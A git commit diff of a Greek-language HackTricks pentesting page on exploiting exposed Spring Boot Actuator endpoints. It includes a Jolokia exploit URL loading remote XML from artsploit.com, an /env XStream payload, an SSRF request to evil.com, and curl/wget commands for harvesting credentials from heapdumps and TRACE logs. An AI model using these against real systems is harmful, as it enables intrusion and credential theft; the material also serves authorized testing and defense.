mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['', 'src/network-services-pentesting/pentesting-web/spring-a
This commit is contained in:
parent
b77007495e
commit
7f89257732
File diff suppressed because it is too large
Load Diff
@ -6,30 +6,31 @@
|
||||
|
||||
<figure><img src="../../images/image (927).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
**Από** [**https://raw.githubusercontent.com/Mike-n1/tips/main/SpringAuthBypass.png**](https://raw.githubusercontent.com/Mike-n1/tips/main/SpringAuthBypass.png)
|
||||
**From** [**https://raw.githubusercontent.com/Mike-n1/tips/main/SpringAuthBypass.png**](https://raw.githubusercontent.com/Mike-n1/tips/main/SpringAuthBypass.png)
|
||||
|
||||
## Εκμετάλλευση Spring Boot Actuators
|
||||
|
||||
**Ελέγξτε την αρχική ανάρτηση από** \[**https://www.veracode.com/blog/research/exploiting-spring-boot-actuators**]
|
||||
**Δείτε το πρωτότυπο άρθρο στο** \[**https://www.veracode.com/blog/research/exploiting-spring-boot-actuators**]
|
||||
|
||||
### **Βασικά Σημεία:**
|
||||
### **Κύρια Σημεία:**
|
||||
|
||||
- Οι Spring Boot Actuators καταχωρούν endpoints όπως `/health`, `/trace`, `/beans`, `/env`, κ.λπ. Σε εκδόσεις 1 έως 1.4, αυτά τα endpoints είναι προσβάσιμα χωρίς αυθεντικοποίηση. Από την έκδοση 1.5 και μετά, μόνο τα `/health` και `/info` είναι μη ευαίσθητα από προεπιλογή, αλλά οι προγραμματιστές συχνά απενεργοποιούν αυτή την ασφάλεια.
|
||||
- Ορισμένα endpoints Actuator μπορεί να εκθέσουν ευαίσθητα δεδομένα ή να επιτρέψουν επιβλαβείς ενέργειες:
|
||||
- Spring Boot Actuators καταγράφουν endpoints όπως `/health`, `/trace`, `/beans`, `/env`, κ.λπ. Σε εκδόσεις 1 έως 1.4, αυτά τα endpoints είναι προσβάσιμα χωρίς έλεγχο ταυτότητας. Από την έκδοση 1.5 και μετά, μόνο τα `/health` και `/info` είναι μη ευαίσθητα από προεπιλογή, αλλά οι προγραμματιστές συχνά απενεργοποιούν αυτή την προστασία.
|
||||
- Ορισμένα endpoints των Actuator μπορούν να αποκαλύψουν ευαίσθητα δεδομένα ή να επιτρέψουν επιβλαβείς ενέργειες:
|
||||
- `/dump`, `/trace`, `/logfile`, `/shutdown`, `/mappings`, `/env`, `/actuator/env`, `/restart`, και `/heapdump`.
|
||||
- Στο Spring Boot 1.x, οι actuators καταχωρούνται κάτω από τη ρίζα URL, ενώ στο 2.x, είναι κάτω από τη βασική διαδρομή `/actuator/`.
|
||||
- Σε Spring Boot 1.x, οι actuators καταχωρούνται κάτω από το root URL, ενώ σε 2.x βρίσκονται κάτω από τη βάση `/actuator/`.
|
||||
|
||||
### **Τεχνικές Εκμετάλλευσης:**
|
||||
|
||||
1. **Απομακρυσμένη Εκτέλεση Κώδικα μέσω '/jolokia'**:
|
||||
- Το endpoint `/jolokia` εκθέτει τη βιβλιοθήκη Jolokia, η οποία επιτρέπει HTTP πρόσβαση σε MBeans.
|
||||
- Η ενέργεια `reloadByURL` μπορεί να εκμεταλλευτεί για να επαναφορτώσει τις ρυθμίσεις καταγραφής από μια εξωτερική διεύθυνση URL, κάτι που μπορεί να οδηγήσει σε τυφλό XXE ή απομακρυσμένη εκτέλεση κώδικα μέσω κατασκευασμένων XML ρυθμίσεων.
|
||||
- Παράδειγμα URL εκμετάλλευσης: `http://localhost:8090/jolokia/exec/ch.qos.logback.classic:Name=default,Type=ch.qos.logback.classic.jmx.JMXConfigurator/reloadByURL/http:!/!/artsploit.com!/logback.xml`.
|
||||
2. **Τροποποίηση Ρυθμίσεων μέσω '/env'**:
|
||||
1. **Remote Code Execution via '/jolokia'**:
|
||||
- Το endpoint `/jolokia` των Actuator εκθέτει τη βιβλιοθήκη Jolokia, η οποία επιτρέπει πρόσβαση σε MBeans μέσω HTTP.
|
||||
- Η ενέργεια `reloadByURL` μπορεί να εκμεταλλευτεί ώστε να φορτώσει ξανά ρυθμίσεις logging από εξωτερικό URL, κάτι που μπορεί να οδηγήσει σε blind XXE ή Remote Code Execution μέσω κακόβουλα κατασκευασμένων XML ρυθμίσεων.
|
||||
- Παράδειγμα exploit URL: `http://localhost:8090/jolokia/exec/ch.qos.logback.classic:Name=default,Type=ch.qos.logback.classic.jmx.JMXConfigurator/reloadByURL/http:!/!/artsploit.com!/logback.xml`.
|
||||
|
||||
- Εάν υπάρχουν βιβλιοθήκες Spring Cloud, το endpoint `/env` επιτρέπει την τροποποίηση των περιβαλλοντικών ιδιοτήτων.
|
||||
- Οι ιδιότητες μπορούν να χειραγωγηθούν για να εκμεταλλευτούν ευπάθειες, όπως η ευπάθεια αποσυμπίεσης XStream στην υπηρεσία Eureka serviceURL.
|
||||
- Παράδειγμα POST αίτησης εκμετάλλευσης:
|
||||
2. **Config Modification via '/env'**:
|
||||
|
||||
- Εάν υπάρχουν οι Spring Cloud Libraries, το endpoint `/env` επιτρέπει την τροποποίηση των περιβαλλοντικών ιδιοτήτων.
|
||||
- Οι ιδιότητες μπορούν να χειραγωγηθούν για να εκμεταλλευτούν ευπάθειες, όπως η ευπάθεια αποσειριοποίησης XStream στο Eureka serviceURL.
|
||||
- Παράδειγμα exploit POST αιτήματος:
|
||||
|
||||
```
|
||||
POST /env HTTP/1.1
|
||||
@ -41,24 +42,100 @@ eureka.client.serviceUrl.defaultZone=http://artsploit.com/n/xstream
|
||||
```
|
||||
|
||||
3. **Άλλες Χρήσιμες Ρυθμίσεις**:
|
||||
- Ιδιότητες όπως `spring.datasource.tomcat.validationQuery`, `spring.datasource.tomcat.url`, και `spring.datasource.tomcat.max-active` μπορούν να χειραγωγηθούν για διάφορες εκμεταλλεύσεις, όπως SQL injection ή τροποποίηση συμβολοσειρών σύνδεσης βάσης δεδομένων.
|
||||
- Ιδιότητες όπως `spring.datasource.tomcat.validationQuery`, `spring.datasource.tomcat.url`, και `spring.datasource.tomcat.max-active` μπορούν να τροποποιηθούν για διάφορες εκμεταλλεύσεις, όπως SQL injection ή αλλαγή των connection strings της βάσης δεδομένων.
|
||||
|
||||
### **Επιπλέον Πληροφορίες:**
|
||||
|
||||
- Μια ολοκληρωμένη λίστα με τους προεπιλεγμένους actuators μπορεί να βρεθεί [εδώ](https://github.com/artsploit/SecLists/blob/master/Discovery/Web-Content/spring-boot.txt).
|
||||
- Το endpoint `/env` στο Spring Boot 2.x χρησιμοποιεί μορφή JSON για την τροποποίηση ιδιοτήτων, αλλά η γενική έννοια παραμένει η ίδια.
|
||||
- Μία ολοκληρωμένη λίστα των default actuators βρίσκεται [εδώ](https://github.com/artsploit/SecLists/blob/master/Discovery/Web-Content/spring-boot.txt).
|
||||
- Το endpoint `/env` στο Spring Boot 2.x χρησιμοποιεί JSON μορφή για την τροποποίηση ιδιοτήτων, αλλά η γενική ιδέα παραμένει ίδια.
|
||||
|
||||
### **Σχετικά Θέματα:**
|
||||
|
||||
1. **Env + H2 RCE**:
|
||||
- Λεπτομέρειες σχετικά με την εκμετάλλευση του συνδυασμού του endpoint `/env` και της βάσης δεδομένων H2 μπορούν να βρεθούν [εδώ](https://spaceraccoon.dev/remote-code-execution-in-three-acts-chaining-exposed-actuators-and-h2-database).
|
||||
- Λεπτομέρειες για την εκμετάλλευση του συνδυασμού του endpoint `/env` και της βάσης H2 βρίσκονται [εδώ](https://spaceraccoon.dev/remote-code-execution-in-three-acts-chaining-exposed-actuators-and-h2-database).
|
||||
|
||||
2. **SSRF στο Spring Boot μέσω Λάθους Ερμηνείας Διαδρομής**:
|
||||
- Η διαχείριση παραμέτρων μήτρας (`;`) από το πλαίσιο Spring σε διαδρομές HTTP μπορεί να εκμεταλλευτεί για Server-Side Request Forgery (SSRF).
|
||||
- Παράδειγμα αίτησης εκμετάλλευσης:
|
||||
2. **SSRF on Spring Boot Through Incorrect Pathname Interpretation**:
|
||||
- Ο τρόπος με τον οποίο το Spring framework χειρίζεται matrix parameters (`;`) σε HTTP pathnames μπορεί να εκμεταλλευτεί για Server-Side Request Forgery (SSRF).
|
||||
- Παράδειγμα αιτήματος εκμετάλλευσης:
|
||||
```http
|
||||
GET ;@evil.com/url HTTP/1.1
|
||||
Host: target.com
|
||||
Connection: close
|
||||
```
|
||||
## HeapDump secrets mining (credentials, tokens, internal URLs)
|
||||
|
||||
Αν το `/actuator/heapdump` είναι εκτεθειμένο, συνήθως μπορείτε να κατεβάσετε ένα πλήρες JVM heap snapshot που συχνά περιέχει live secrets (DB creds, API keys, Basic-Auth, internal service URLs, Spring property maps, κ.λπ.).
|
||||
|
||||
- Download and quick triage:
|
||||
```bash
|
||||
wget http://target/actuator/heapdump -O heapdump
|
||||
# Quick wins: look for HTTP auth and JDBC
|
||||
strings -a heapdump | grep -nE 'Authorization: Basic|jdbc:|password=|spring\.datasource|eureka\.client'
|
||||
# Decode any Basic credentials you find
|
||||
printf %s 'RXhhbXBsZUJhc2U2NEhlcmU=' | base64 -d
|
||||
```
|
||||
|
||||
- Deeper analysis with VisualVM and OQL:
|
||||
- Ανοίξτε το heapdump στο VisualVM, ελέγξτε instances του `java.lang.String` ή εκτελέστε OQL για να εντοπίσετε secrets:
|
||||
```
|
||||
select s.toString()
|
||||
from java.lang.String s
|
||||
where /Authorization: Basic|jdbc:|password=|spring\.datasource|eureka\.client|OriginTrackedMapPropertySource/i.test(s.toString())
|
||||
```
|
||||
|
||||
- Automated extraction with JDumpSpider:
|
||||
```bash
|
||||
java -jar JDumpSpider-*.jar heapdump
|
||||
```
|
||||
Τυπικά ευρήματα υψηλής αξίας:
|
||||
- Spring `DataSourceProperties` / `HikariDataSource` αντικείμενα που εκθέτουν `url`, `username`, `password`.
|
||||
- `OriginTrackedMapPropertySource` entries που αποκαλύπτουν `management.endpoints.web.exposure.include`, service ports και ενσωματωμένο Basic-Auth σε URLs (π.χ. Eureka `defaultZone`).
|
||||
- Τμήματα HTTP request/response σε plain text που περιλαμβάνουν `Authorization: Basic ...` και έχουν καταγραφεί στη μνήμη.
|
||||
|
||||
Tips:
|
||||
- Χρησιμοποιήστε ένα Spring-focused wordlist για να ανακαλύψετε γρήγορα actuator endpoints (π.χ., SecLists spring-boot.txt) και ελέγξτε πάντα αν τα `/actuator/logfile`, `/actuator/httpexchanges`, `/actuator/env` και `/actuator/configprops` είναι επίσης εκτεθειμένα.
|
||||
- Τα credentials από heapdump συχνά δουλεύουν και για γειτονικές υπηρεσίες και μερικές φορές για system users (SSH), οπότε δοκιμάστε τα ευρέως.
|
||||
|
||||
|
||||
## Abusing Actuator loggers/logging to capture credentials
|
||||
|
||||
Αν το `management.endpoints.web.exposure.include` το επιτρέπει και το `/actuator/loggers` είναι εκτεθειμένο, μπορείτε δυναμικά να αυξήσετε τα επίπεδα καταγραφής σε DEBUG/TRACE για πακέτα που χειρίζονται authentication και request processing. Σε συνδυασμό με αναγνώσιμα logs (μέσω `/actuator/logfile` ή γνωστών log paths), αυτό μπορεί να αποκαλύψει credentials που υποβάλλονται κατά τη ροή login (π.χ., Basic-Auth headers ή form parameters).
|
||||
|
||||
- Enumerate and crank up sensitive loggers:
|
||||
```bash
|
||||
# List available loggers
|
||||
curl -s http://target/actuator/loggers | jq .
|
||||
|
||||
# Enable very verbose logs for security/web stacks (adjust as needed)
|
||||
curl -s -X POST http://target/actuator/loggers/org.springframework.security \
|
||||
-H 'Content-Type: application/json' -d '{"configuredLevel":"TRACE"}'
|
||||
curl -s -X POST http://target/actuator/loggers/org.springframework.web \
|
||||
-H 'Content-Type: application/json' -d '{"configuredLevel":"TRACE"}'
|
||||
curl -s -X POST http://target/actuator/loggers/org.springframework.cloud.gateway \
|
||||
-H 'Content-Type: application/json' -d '{"configuredLevel":"TRACE"}'
|
||||
```
|
||||
|
||||
- Find where logs are written and harvest:
|
||||
```bash
|
||||
# If exposed, read from Actuator directly
|
||||
curl -s http://target/actuator/logfile | strings | grep -nE 'Authorization:|username=|password='
|
||||
|
||||
# Otherwise, query env/config to locate file path
|
||||
curl -s http://target/actuator/env | jq '.propertySources[].properties | to_entries[] | select(.key|test("^logging\\.(file|path)"))'
|
||||
```
|
||||
|
||||
- Προκαλέστε login/authentication traffic και αναλύστε το log για creds. Σε microservice setups με gateway που μπροστάρει το auth, η ενεργοποίηση TRACE για gateway/security πακέτα συχνά κάνει εμφανή headers και σώματα φορμών. Κάποια περιβάλλοντα παράγουν ακόμη και συνθετική login κίνηση περιοδικά, κάνοντας τη συλλογή trivial μόλις η καταγραφή γίνει verbose.
|
||||
|
||||
Notes:
|
||||
- Επαναφέρετε τα επίπεδα log όταν τελειώσετε: `POST /actuator/loggers/<logger>` με `{ "configuredLevel": null }`.
|
||||
- Αν το `/actuator/httpexchanges` είναι εκτεθειμένο, μπορεί επίσης να εμφανίσει πρόσφατα request metadata που μπορεί να περιλαμβάνει ευαίσθητα headers.
|
||||
|
||||
|
||||
## References
|
||||
|
||||
- [Exploring Spring Boot Actuator Misconfigurations (Wiz)](https://www.wiz.io/blog/spring-boot-actuator-misconfigurations)
|
||||
- [VisualVM](https://visualvm.github.io/)
|
||||
- [JDumpSpider](https://github.com/whwlsfb/JDumpSpider)
|
||||
- [0xdf – HTB Eureka (Actuator heapdump to creds, Gateway logging abuse)](https://0xdf.gitlab.io/2025/08/30/htb-eureka.html)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
Loading…
x
Reference in New Issue
Block a user